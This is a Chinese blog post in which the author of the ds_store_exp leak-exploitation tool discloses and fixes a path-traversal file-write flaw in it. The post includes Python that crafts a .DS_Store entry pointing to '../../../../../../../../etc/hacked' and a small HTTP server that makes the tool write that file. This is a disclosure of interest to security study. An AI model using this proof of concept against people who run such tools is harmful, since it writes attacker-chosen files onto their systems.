      <link>https://mp.weixin.qq.com/s?__biz=MzkyNjM0MjQ2Mw==&amp;mid=2247483684&amp;idx=1&amp;sn=7c6915f385bb55b4092c0d1861e2dde5</link>
      <description>本文介绍了分析构造带攻击意图的.DS_Store文件、并且利用任意文件写入漏洞的思路和方法。漏洞的利用需要一定条件，比如，这里web服务器需要能够处理非法的path</description>
      <content:encoded><![CDATA[<p>
<span>自己黑自己的</span> <span>2022-06-16 14:24</span> <span style="display: inline-block;">北京</span>
</p>

<p>本文介绍了分析构造带攻击意图的.DS_Store文件、并且利用任意文件写入漏洞的思路和方法。漏洞的利用需要一定条件，比如，这里web服务器需要能够处理非法的path</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=fd6cad68&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2F0jezbBnTO9mgHZ4Lhicbj7ZL6FK1KBmnibrM98ia6j5z9gxFfPSNzcqyU5n24sMkia7aJ6mpiatpNJdNgaTHHFZicHVQ%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<p><span style="font-size: 14px;">前些日子，一个名叫Justin Steven的安全研究人员，向我报告了一个漏洞。他提到，Git信息泄露利用工具GitHack在解析.git/index写入文件的时候，没有检查路径是否非法，导致有意图的攻击者，可以构造恶意的文件路径和文件内容，达到任意文件写入的效果。最终可能实现：&#34;反黑那个试图攻击你的黑客&#34;。随后，我添加了几行检查路径的代码，修复了这个问题。见：</span></p><p><span style="font-size: 12px;color: rgb(0, 82, 255);"><a href="https://github.com/lijiejie/GitHack/commit/a3d70b19f29d2f624dcae17762022edf7464cee1" target="_blank">https://github.com/lijiejie/GitHack/commit/a3d70b19f29d2f624dcae17762022edf7464cee1</a></span></p><p><span style="font-size: 14px;">这个漏洞的出现，是因为攻击者可以修改文件路径，添加类似&#34;..&#34;跨目录字符，实现穿越到任意路径。</span><span style="font-size: 14px;">那么，问题来了，之前自己写的信息泄露利用工具不止一个。</span><span style="font-size: 14px;">其他工具也会处理文件名/路径，是不是也有类似的问题呢？</span><span style="font-size: 14px;">经过简单的验证，确实发现了问题。</span><span style="font-size: 14px;">这里，我的测试项目是 </span><span style="color: rgb(0, 82, 255);font-size: 14px;"><a href="https://github.com/lijiejie/ds_store_exp" target="_blank">https://github.com/lijiejie/ds_store_exp</a></span></p><p><span style="font-size: 14px;color: rgb(0, 82, 255);"><br/></span></p><p style="text-align: center;"><strong style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;color: rgb(2, 30, 170);font-family: -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 18px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: 0.544px;orphans: 2;text-align: center;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;visibility: visible;"><strong data-brushtype="text" hm_fix="227:805" style="margin: 0px;padding: 0px;outline: none 0px !important;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;color: rgb(11, 67, 209);font-family: 微软雅黑, sans-serif;font-size: 16px;font-style: italic;letter-spacing: 1px;text-align: left;white-space: normal;caret-color: rgb(255, 0, 0);background-color: rgb(255, 255, 255);max-inline-size: 100%;cursor: text;visibility: visible;"> </strong></strong><strong style="margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;color: rgb(2, 30, 170);font-family: -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: 0.544px;orphans: 2;text-align: center;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;font-size: 20px;visibility: visible;">.DS_Store和ds_store_exp</strong></p><p style="text-align: left;"><span style="font-size: 14px;">.DS_Store是Mac OS保存文件夹自定义属性的隐藏文件，保存了一些基本信息，例如，文件的图标信息。如果开发运维将.DS_Store上传到web站点，被攻击者下载，黑客通过解析.DS_Store，可以得到该文件夹下的文件清单。它的效果基本等同于 &#34;服务器开启目录浏览&#34; 。</span></p><p style="text-align: left;"><span style="font-size: 14px;">ds_store_exp是对应的利用工具，它下载解析.DS_Store，并且尝试遍历下载所有文件到本地。</span></p><p style="text-align: left;"><span style="font-size: 14px;"><br/></span></p><p style="text-align: center;"><span style="font-size: 14px;"><strong style="margin: 0px;padding: 0px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;orphans: 2;text-align: center;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;outline: 0px;max-width: 100%;color: rgb(2, 30, 170);font-family: -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 18px;letter-spacing: 0.544px;background-color: rgb(255, 255, 255);visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;"><strong data-brushtype="text" hm_fix="227:805" style="margin: 0px;padding: 0px;max-width: 100%;color: rgb(11, 67, 209);font-family: 微软雅黑, sans-serif;font-size: 16px;font-style: italic;letter-spacing: 1px;text-align: left;white-space: normal;caret-color: rgb(255, 0, 0);background-color: rgb(255, 255, 255);max-inline-size: 100%;cursor: text;visibility: visible;outline: none 0px !important;box-sizing: border-box !important;overflow-wrap: break-word !important;"> </strong></strong><strong style="margin: 0px;padding: 0px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;orphans: 2;text-align: center;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;outline: 0px;max-width: 100%;color: rgb(2, 30, 170);font-family: -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;background-color: rgb(255, 255, 255);font-size: 20px;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;">构造生成.DS_Store文件</strong></span></p><p style="text-align: left;"><span style="font-size: 14px;">这一步相对难度较高，直接去分析文件结构不现实。思路2种：</span></p><p style="text-align: left;"><span style="font-size: 14px;">第一种，是直接去找一个现成的.DS_Store，通过二进制文档编辑器直接编辑字符串。这里我打开一个看一眼<br/></span></p><p style="text-align: center;margin-bottom: 0em;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.3258620689655172" data-s="300,640" style="" data-type="png" data-w="580" src="https://wechat2rss.xlab.app/img-proxy/?k=69253dda&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F0jezbBnTO9mgHZ4Lhicbj7ZL6FK1KBmnibuz8WKs1UcMBpc15hXwibdflvZD6QiboPJJUrnIhayFb5Rkm45QRibGicnQ%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-align: left;"><span style="font-size: 14px;"></span></p><p style="text-align: left;"><span style="font-size: 14px;">excelTemplate是我已知的路径，在这里，可以观察到每个字符占2个byte。经过查阅文档，这里是utf-16编码的。</span></p><p style="text-align: left;"><span style="font-size: 12px;color: rgb(0, 82, 255);"><a href="https://metacpan.org/dist/Mac-Finder-DSStore/view/DSStoreFormat.pod#Records" target="_blank">https://metacpan.org/dist/Mac-Finder-DSStore/view/DSStoreFormat.pod#Records</a></span></p><p style="text-align: left;"><span style="font-size: 14px;">当然可以编辑，不过很费劲，因为，必须得是big-endian UTF-16编码，而且长度不能变。前面你还有个字段是长度，得改长度。</span></p><p style="text-align: left;"><span style="font-size: 14px;">第二种方法，看看能不能现成的lib构造一个文件。在参考</span></p><p style="text-align: left;"><span style="font-size: 12px;color: rgb(0, 82, 255);"><a href="https://github.com/al45tair/ds_store" target="_blank">https://github.com/al45tair/ds_store</a></span></p><p style="text-align: left;"><span style="font-size: 14px;">代码实现后，我构造创建了一个带非法路径的文件<br/></span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="python"><code><span class="code-snippet_outer"><span class="code-snippet__keyword">from</span> ds_store <span class="code-snippet__keyword">import</span> DSStore, DSStoreEntry</span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">from</span> ds_store.store <span class="code-snippet__keyword">import</span> ILocCodec</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">d = DSStore.open(<span class="code-snippet__string">&#39;.DS_Store&#39;</span>, <span class="code-snippet__string">&#39;w+&#39;</span>)</span></code><code><span class="code-snippet_outer">new_entry = DSStoreEntry(<span class="code-snippet__string">&#39;../../../../../../../../etc/hacked&#39;</span>, <span class="code-snippet__string">b&#39;Iloc&#39;</span>, ILocCodec, value=(<span class="code-snippet__number">282</span>, <span class="code-snippet__number">104</span>))</span></code><code><span class="code-snippet_outer">d.insert(new_entry)</span></code><code><span class="code-snippet_outer">d.flush()</span></code><code><span class="code-snippet_outer">d.close()</span></code></pre></section><p style="text-align: left;"><strong style="margin: 0px;padding: 0px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;orphans: 2;text-align: center;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;outline: 0px;max-width: 100%;color: rgb(2, 30, 170);font-family: -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 18px;letter-spacing: 0.544px;background-color: rgb(255, 255, 255);visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;"><strong data-brushtype="text" hm_fix="227:805" style="margin: 0px;padding: 0px;max-width: 100%;color: rgb(11, 67, 209);font-family: 微软雅黑, sans-serif;font-size: 16px;font-style: italic;letter-spacing: 1px;text-align: left;white-space: normal;caret-color: rgb(255, 0, 0);background-color: rgb(255, 255, 255);max-inline-size: 100%;cursor: text;visibility: visible;outline: none 0px !important;box-sizing: border-box !important;overflow-wrap: break-word !important;"> </strong></strong></p><p style="text-align: center;"><strong style="margin: 0px;padding: 0px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;orphans: 2;text-align: center;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;outline: 0px;max-width: 100%;color: rgb(2, 30, 170);font-family: -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;background-color: rgb(255, 255, 255);font-size: 20px;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;">验证漏洞</strong></p><p style="margin: 0px;padding: 0px;clear: both;min-height: 1em;color: rgb(51, 51, 51);font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;"><span style="font-size: 14px;">现在将这个&#34;带攻击意图&#34; 的.DS_Store放到web目录下，使用ds_store_exp工具验证是否触发</span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="nginx"><code><span class="code-snippet_outer"><span class="code-snippet__attribute">git</span> clone <a href="https://github.com/lijiejie/ds_store_exp.git" target="_blank">https://github.com/lijiejie/ds_store_exp.git</a></span></code><code><span class="code-snippet_outer"><span class="code-snippet__comment"># 切换到漏洞版本，是的，我已经提交了修复后的代码</span></span></code><code><span class="code-snippet_outer">git checkout 784eada6cd08739032b7fdc124a8c93abcb0c2f7</span></code><code><span class="code-snippet_outer">pip2 install ds_store</span></code></pre></section><p style="margin: 0px;padding: 0px;clear: both;min-height: 1em;color: rgb(51, 51, 51);font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;"><span style="font-size: 14px;">尝试执行，会发现确实工具请求了</span><span style="font-size: 14px;">非法的路径，但是新的问题也出现了</span></p><p style="text-align: center;margin-bottom: 0em;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.15896739130434784" data-s="300,640" style="" data-type="png" data-w="736" src="https://wechat2rss.xlab.app/img-proxy/?k=ac833068&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F0jezbBnTO9mgHZ4Lhicbj7ZL6FK1KBmnib0ekU1AUtpIuWxD6046IfzDqg6zQMgsL7GqyPNyKexMrWuMjfG403ZQ%2F640%3Fwx_fmt%3Dpng"/></p><p style="margin: 0px;padding: 0px;clear: both;min-height: 1em;color: rgb(51, 51, 51);font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;"><span style="font-size: 14px;"></span></p><p style="margin: 0px;padding: 0px;clear: both;min-height: 1em;color: rgb(51, 51, 51);font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 17px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;"><span style="margin: 0px;padding: 0px;font-size: 14px;">注意到，因为常见的web server在接收到</span><span style="margin: 0px;padding: 0px;font-size: 14px;color: rgb(255, 0, 0);"> .. </span><span style="margin: 0px;padding: 0px;font-size: 14px;">这样的invalid path后，会返回400。所以，这个问题被利用的可能性会更低一些。工具只有在返回200的时候才会写入文件。</span></p><p style="margin: 0px;padding: 0px;clear: both;min-height: 1em;color: rgb(51, 51, 51);font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;"><span style="font-size: 14px;">为了验证利用效果，这里再写一个web server吧 ...  还好，在Python的世界，应该是20行代码的事情。</span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="ruby"><code><span class="code-snippet_outer">import http.server</span></code><code><span class="code-snippet_outer">import socketserver</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><span class="code-snippet__class"><span class="code-snippet__keyword">class</span> <span class="code-snippet__title">MyHandler</span>(<span class="code-snippet__title">http</span>.<span class="code-snippet__title">server</span>.<span class="code-snippet__title">SimpleHTTPRequestHandler</span>):</span></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__function"><span class="code-snippet__keyword">def</span> <span class="code-snippet__title">do_GET</span><span class="code-snippet__params">(<span class="code-snippet__keyword">self</span>)</span></span>:</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">if</span> <span class="code-snippet__keyword">self</span>.requestline.find(<span class="code-snippet__string">&#39;..&#39;</span>) &lt; <span class="code-snippet__number">0</span>:</span></code><code><span class="code-snippet_outer">            <span class="code-snippet__keyword">return</span> <span class="code-snippet__keyword">super</span>(MyHandler, <span class="code-snippet__keyword">self</span>).do_GET()</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__symbol">else:</span></span></code><code><span class="code-snippet_outer">            <span class="code-snippet__keyword">self</span>.send_response(<span class="code-snippet__number">200</span>)</span></code><code><span class="code-snippet_outer">            <span class="code-snippet__keyword">self</span>.send_header(<span class="code-snippet__string">&#34;Content-type&#34;</span>, <span class="code-snippet__string">&#34;plain/text&#34;</span>)</span></code><code><span class="code-snippet_outer">            <span class="code-snippet__keyword">self</span>.end_headers()</span></code><code><span class="code-snippet_outer">            <span class="code-snippet__keyword">self</span>.wfile.write(b<span class="code-snippet__string">&#34;hacked, man&#34;</span>)</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">httpd = socketserver.TCPServer((<span class="code-snippet__string">&#34;&#34;</span>, <span class="code-snippet__number">8001</span>), MyHandler)</span></code><code><span class="code-snippet_outer">httpd.serve_forever()</span></code></pre></section><p style="margin: 0px;padding: 0px;clear: both;min-height: 1em;color: rgb(51, 51, 51);font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;"><span style="font-size: 14px;">启动web服务，再次验证</span></p><p style="text-align: center;margin-bottom: 0em;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.07951482479784366" data-s="300,640" style="" data-type="png" data-w="742" src="https://wechat2rss.xlab.app/img-proxy/?k=39c8aba2&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F0jezbBnTO9mgHZ4Lhicbj7ZL6FK1KBmnibtLQYfhr8C8iag31hLUgV5Eovm3EyhH4rib9fnwYkBjNmsCqjTiazTtg7w%2F640%3Fwx_fmt%3Dpng"/></p><p style="margin: 0px;padding: 0px;clear: both;min-height: 1em;color: rgb(51, 51, 51);font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;"><br/></p><p style="text-align: center;margin-bottom: 0em;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.20568335588633288" data-s="300,640" style="display: inline;" data-type="png" data-w="739" src="https://wechat2rss.xlab.app/img-proxy/?k=14746088&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F0jezbBnTO9mgHZ4Lhicbj7ZL6FK1KBmnibgusLtzAMUxYnphUSjdTicPZDVPfzcp544360qJUeWb6v1vDHenRlIbQ%2F640%3Fwx_fmt%3Dpng"/></p><p style="margin: 0px;padding: 0px;clear: both;min-height: 1em;color: rgb(51, 51, 51);font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;"><span style="font-size: 14px;">如上图所示， 观察到 /etc/hacked已经写入成功了。<br/></span></p><p style="margin: 0px;padding: 0px;clear: both;min-height: 1em;color: rgb(51, 51, 51);font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;"><span style="font-size: 14px;">至此，通过分析自己的小工具，成功&#34;黑掉了自己&#34;。   :)</span></p><p style="margin: 0px;padding: 0px;clear: both;min-height: 1em;color: rgb(51, 51, 51);font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 17px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: center;"><strong style="margin: 0px;padding: 0px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;orphans: 2;text-align: center;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;outline: 0px;max-width: 100%;color: rgb(2, 30, 170);font-family: -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;background-color: rgb(255, 255, 255);font-size: 20px;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;">写在最后</strong></p><p style="margin: 0px;padding: 0px;clear: both;min-height: 1em;color: rgb(51, 51, 51);font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 17px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;"><span style="margin: 0px;padding: 0px;font-size: 14px;">本文介绍了分析构造带攻击意图的.DS_Store文件、并且利用任意文件写入漏洞的思路和方法。漏洞的利用需要一定条件，比如，这里web服务器需要能够处理非法的path <span style="white-space:pre-wrap;color: rgb(221, 17, 68);font-family: Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;font-size: 14px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: left;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgba(0, 0, 0, 0.03);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;display: inline !important;float: none;">../../../../../../../../etc/hacked</span> </span></p><p style="margin: 0px;padding: 0px;clear: both;min-height: 1em;color: rgb(51, 51, 51);font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 17px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;"><span style="margin: 0px;padding: 0px;font-size: 14px;">漏洞修复的代码已经提交， </span><span style="font-size: 14px;">之前</span><span style="font-size: 14px;">下载过的同学可以git pull更新一下代码。</span></p><p style="margin: 0px;padding: 0px;clear: both;min-height: 1em;color: rgb(51, 51, 51);font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 17px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;"><span style="margin: 0px;padding: 0px;font-size: 14px;color: rgb(0, 82, 255);"><a href="https://github.com/lijiejie/ds_store_exp" target="_blank">https://github.com/lijiejie/ds_store_exp</a></span></p><p style="margin: 0px;padding: 0px;clear: both;min-height: 1em;color: rgb(51, 51, 51);font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 17px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;"><span style="margin: 0px;padding: 0px;font-size: 14px;"><br/></span></p><p style="text-align: left;"><strong style="margin: 0px;padding: 0px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;orphans: 2;text-align: center;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;outline: 0px;max-width: 100%;color: rgb(2, 30, 170);font-family: -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;background-color: rgb(255, 255, 255);font-size: 20px;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;"><br/></strong></p>



<p><a href="https://github.com/lijiejie/ds_store_exp">阅读原文</a></p>
